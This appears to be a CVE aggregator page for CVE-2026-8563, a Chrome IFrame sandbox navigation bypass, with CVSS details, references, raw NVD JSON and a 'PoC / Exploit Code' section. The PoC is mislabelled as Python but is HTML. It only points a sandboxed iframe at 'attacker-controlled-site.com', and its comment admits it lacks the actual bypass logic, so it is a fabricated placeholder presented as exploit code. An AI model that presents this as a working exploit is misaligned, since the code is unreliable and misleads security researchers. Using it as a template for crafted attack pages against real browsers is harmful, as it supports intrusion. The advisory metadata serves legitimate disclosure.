CVE-2026-8563

Description

Insufficient policy enforcement in IFrame Sandbox in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Google Chrome for Windows < 148.0.7778.168

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- Proof of Concept for CVE-2026-8563 -->
<!-- Description: This HTML file demonstrates how a crafted page attempts to bypass IFrame sandbox navigation restrictions. -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2026-8563 PoC</title>
</head>
<body>
    <h1>IFrame Sandbox Navigation Bypass</h1>
    <p>This page attempts to bypass navigation restrictions in vulnerable Chrome versions.</p>
    
    <!-- The crafted HTML element that triggers the vulnerability -->
    <iframe id="targetFrame" sandbox="allow-scripts allow-same-origin allow-forms" src="about:blank"></iframe>
    
    <script>
        // JavaScript logic to trigger the bypass
        const iframe = document.getElementById('targetFrame');
        try {
            // Attempt to exploit the insufficient policy enforcement
            // Specific logic depends on the exact bypass technique for this CVE
            iframe.contentWindow.location = "http://attacker-controlled-site.com";
            console.log("[+] Navigation bypass attempt executed.");
        } catch (e) {
            console.log("[-] Bypass failed or patched.");
        }
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8563
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8563
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8563/
[4] VulDB https://vuldb.com/cve/CVE-2026-8563
[5] https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html
[6] https://issues.chromium.org/issues/40061220

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-8563", "sourceIdentifier": "[email protected]", "published": "2026-05-14T20:17:18.440", "lastModified": "2026-05-15T16:16:15.860", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficient policy enforcement in IFrame Sandbox in Google Chrome on Windows prior to 148.0.7778.168 allowed a remote attacker to bypass navigation restrictions via a crafted HTML page. (Chromium security severity: Medium)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "references": [{"url": "https://chromereleases.googleblog.com/2026/05/stable-channel-update-for-desktop_12.html", "source": "[email protected]"}, {"url": "https://issues.chromium.org/issues/40061220", "source": "[email protected]"}]}}